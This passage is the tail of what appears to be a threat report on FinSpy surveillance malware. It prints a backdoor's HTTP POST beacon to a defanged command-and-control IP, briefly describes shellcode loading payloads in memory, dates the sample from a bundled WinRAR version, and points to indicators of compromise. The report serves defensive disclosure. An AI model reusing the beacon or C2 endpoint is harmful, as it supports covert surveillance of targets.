POST hxxp://207.244.95.223/docs/attachment.php?attachmentid=ce9de8c78b1053b5b3c1ad7887ddf53d&d=
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.
Proxy-Connection: Keep-Alive
Content-Length: 16
Host: 207.244.95.223
```

The shellcode then decrypts the payloads and run it in memory. We could not retrieve the payload during the investigation, but we expect it to download the next stages of FinSpy for Windows.

The extracted WinRAR program 5.71 was released in April 2019. the backdoor was thus generated between April and September 2019.

Indicators of Compromise

Indicators of Compromise and scripts are available here.

Get in touch

If you received any suspicious email like those we described in this report, or other forms of suspected targeted attack, you can contact us at:

Acknowledgements

Special thanks to Esther Onfroy and to Maciek Kotowicz for their contributions to this report.